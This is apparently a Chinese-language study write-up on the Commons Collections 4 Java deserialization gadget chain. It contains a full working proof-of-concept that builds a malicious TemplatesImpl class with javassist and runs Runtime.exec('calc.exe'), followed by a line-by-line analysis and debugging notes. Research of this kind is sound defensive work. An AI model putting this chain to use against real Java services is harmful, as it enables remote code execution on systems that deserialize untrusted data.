简介

CC4 相当于 CC2 + CC3 的结合,在ysoseria中CC4提及的是,Variation on CommonsCollections2 that uses InstantiateTransformer instead of InvokerTransformer.
也就是说CC4 只需要在CC2的基础上(javassist)将InvokerTransformer修改成InstantiateTransformer,InstantiateTransforme 在CC3中可以知道,实现了Transformer,Serializable接口,在它的transform方法中,实现了当传入的input为class时,可以直接获取其对应的构造函数直接实例化并返回,要达到使用InstantiateTransforme 的transform方法,这时又离不开TrAXFilter的构造函数,在其实例化之后就能调用TransformerImplnewTransformer方法,最后实现调用恶意代码

前置知识

Commons Collections2 分析
Commons Collections3 分析

环境

  • jdk1.8
  • commons collections4

    利用链

    1. ObjectInputStream.readObject()
    2. PriorityQueue.readObject()
    3. ...
    4. TransformingComparator.compare()
    5. ChainedTransformer.transform()
    6. ConstantTransformer.transform()
    7. InstantiateTransformer.transform()
    8. newInstance()
    9. TrAXFilter#TrAXFilter()
    10. TemplatesImpl.newTransformer()
    11. TemplatesImpl.getTransletInstance()
    12. TemplatesImpl.defineTransletClasses
    13. newInstance()
    14. Runtime.exec()

    POC

    ```java package com.myproject;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue;

public class TestCC4 { public static void main(String[] args) throws Exception{ PriorityQueue queue = new PriorityQueue(1); ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass(“cat”); String cmd = “java.lang.Runtime.getRuntime().exec(\”calc.exe\”);”; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = “EvilCat” + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] taegetClassBytes = new byte[][]{classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); Field field = templates.getClass().getDeclaredField(“_bytecodes”); field.setAccessible(true); field.set(templates,taegetClassBytes); Field field1 = templates.getClass().getDeclaredField(“_name”); field1.setAccessible(true); field1.set(templates,”123”); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chain = new ChainedTransformer(transformers); queue.add(1); queue.add(1); TransformingComparator Tcomparator = new TransformingComparator(chain); Field comparator_field = PriorityQueue.class.getDeclaredField(“comparator”); comparator_field.setAccessible(true); comparator_field.set(queue,Tcomparator); try{ FileOutputStream fileOutputStrem = new FileOutputStream(“cc4.ser”); ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStrem); outputStream.writeObject(queue);

  1. FileInputStream fileInputStream = new FileInputStream("cc4.ser");
  2. ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
  3. inputStream.readObject();
  4. }catch(Exception e){
  5. e.printStackTrace();
  6. }
  7. }

}

  1. ![image.png](https://cdn.nlark.com/yuque/0/2022/png/21929389/1652799968323-13311ef8-e1b5-41af-a86d-5507c28ded5f.png#clientId=u8d43d6cc-2769-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=770&id=u29e29c1b&margin=%5Bobject%20Object%5D&name=image.png&originHeight=1540&originWidth=2560&originalType=binary&ratio=1&rotation=0&showTitle=false&size=623606&status=done&style=none&taskId=ueaa6362f-5551-4228-889f-eb71a4481f8&title=&width=1280)
  2. <a name="bIDdP"></a>
  3. ## 分析
  4. <a name="C5HMO"></a>
  5. ### 0x1
  6. ```java
  7. PriorityQueue queue = new PriorityQueue(1);

CC2中我们可以知道,为什么明明PriorityQueue的构造函数中可以传入TransformingComparator的实例,但是我们却不使用可以传入TransformingComparator实例的构造方法,因为在传入之后,会直接调用TransformingComparator实例的方法,导致在还没有序列化的时候程序就已经crash了,这一步是实现CC2,CC4的关键

0x2

通过javasisst创建恶意代码,并将恶意代码写入到TemplatesImpl实例化后的_bytecodes,_name参数中,详情看Commons Collections3 分析

  1. ClassPool pool = ClassPool.getDefault();
  2. pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
  3. CtClass cc = pool.makeClass("cat");
  4. String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
  5. cc.makeClassInitializer().insertBefore(cmd);
  6. String randomClassName = "EvilCat" + System.nanoTime();
  7. cc.setName(randomClassName);
  8. cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
  9. byte[] classBytes = cc.toBytecode();
  10. byte[][] taegetClassBytes = new byte[][]{classBytes};
  11. TemplatesImpl templates = TemplatesImpl.class.newInstance();
  12. Field field = templates.getClass().getDeclaredField("_bytecodes");
  13. field.setAccessible(true);
  14. field.set(templates,taegetClassBytes);
  15. Field field1 = templates.getClass().getDeclaredField("_name");
  16. field1.setAccessible(true);
  17. field1.set(templates,"123");

0x3

ChainedTransformer类会把我们的Transformer变成一个串,用于执行transform方法链式调用transformers[]
给队列赋值

  1. Transformer[] transformers = new Transformer[]{
  2. new ConstantTransformer(TrAXFilter.class),
  3. new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
  4. };
  5. ChainedTransformer chain = new ChainedTransformer(transformers);
  6. queue.add(1);
  7. queue.add(1);

0x4

当赋值操作完成之后,再对comparator进行赋值操作,这样就能在赋值操作前不直接crash掉,并且在反序列化的时候comparator不为空,又能直接调用transform方法

  1. TransformingComparator Tcomparator = new TransformingComparator(chain);
  2. Field comparator_field = PriorityQueue.class.getDeclaredField("comparator");
  3. comparator_field.setAccessible(true);
  4. comparator_field.set(queue,Tcomparator);

调试

在调试过程中,前部分同CC2,一直到comparator.compare(),comparator为反射传入的Tcomparator,当调用compare方法时,就会执行this.transformer.transform(obj1),最后就回直接到TraXFilter的构造函数里,执行newTransformer
image.png
最后在getTransletInstance函数里,将传入的字节码实例化image.png